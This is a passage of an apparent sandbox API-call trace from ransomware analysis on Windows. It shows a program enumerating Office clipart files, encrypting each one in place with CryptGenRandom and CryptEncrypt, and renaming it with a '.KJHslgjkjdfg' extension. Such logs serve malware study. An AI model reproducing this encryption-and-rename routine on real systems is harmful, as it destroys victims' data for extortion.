liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.030] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f00, lpOverlapped=0x0) returned 1 [0190.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.030] SetEndOfFile (hFile=0x130) returned 1 [0190.033] GetProcessHeap () returned 0x990000 [0190.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.033] GetProcessHeap () returned 0x990000 [0190.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.kjhslgjkjdfg")) returned 1 [0190.034] CloseHandle (hObject=0x130) returned 1 [0190.034] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0190.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.036] GetProcessHeap () returned 0x990000 [0190.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.036] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.036] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.036] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.036] GetProcessHeap () returned 0x990000 [0190.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.036] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.036] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.036] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.038] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.038] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.038] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.039] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.039] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.039] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15b0, lpOverlapped=0x0) returned 1 [0190.040] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15b0) returned 1 [0190.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.040] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15b0, lpOverlapped=0x0) returned 1 [0190.040] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.040] SetEndOfFile (hFile=0x130) returned 1 [0190.043] GetProcessHeap () returned 0x990000 [0190.043] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.043] GetProcessHeap () returned 0x990000 [0190.043] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.kjhslgjkjdfg")) returned 1 [0190.044] CloseHandle (hObject=0x130) returned 1 [0190.044] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0190.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.048] GetProcessHeap () returned 0x990000 [0190.048] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.048] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.051] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.051] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.051] GetProcessHeap () returned 0x990000 [0190.051] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.051] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.051] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.051] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.051] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.051] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.051] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.051] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.052] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.052] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.052] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x136a, lpOverlapped=0x0) returned 1 [0190.053] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0190.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.053] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0190.053] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.053] SetEndOfFile (hFile=0x130) returned 1 [0190.056] GetProcessHeap () returned 0x990000 [0190.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.056] GetProcessHeap () returned 0x990000 [0190.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.kjhslgjkjdfg")) returned 1 [0190.057] CloseHandle (hObject=0x130) returned 1 [0190.057] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0190.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.058] GetProcessHeap () returned 0x990000 [0190.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.058] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.058] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.060] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.060] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.060] GetProcessHeap () returned 0x990000 [0190.060] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.060] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.060] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.060] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.060] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.061] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.061] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc0a, lpOverlapped=0x0) returned 1 [0190.061] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc10, dwBufLen=0xc10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc10) returned 1 [0190.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.061] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc10, lpOverlapped=0x0) returned 1 [0190.061] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.061] SetEndOfFile (hFile=0x130) returned 1 [0190.064] GetProcessHeap () returned 0x990000 [0190.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.064] GetProcessHeap () returned 0x990000 [0190.064] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.kjhslgjkjdfg")) returned 1 [0190.065] CloseHandle (hObject=0x130) returned 1 [0190.065] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0190.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.067] GetProcessHeap () returned 0x990000 [0190.067] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.067] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.071] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.071] GetProcessHeap () returned 0x990000 [0190.071] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.072] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.072] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.072] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.072] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.072] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.072] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b04, lpOverlapped=0x0) returned 1 [0190.074] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b10) returned 1 [0190.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.074] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b10, lpOverlapped=0x0) returned 1 [0190.074] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.074] SetEndOfFile (hFile=0x130) returned 1 [0190.076] GetProcessHeap () returned 0x990000 [0190.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.076] GetProcessHeap () returned 0x990000 [0190.076] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.kjhslgjkjdfg")) returned 1 [0190.078] CloseHandle (hObject=0x130) returned 1 [0190.078] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, 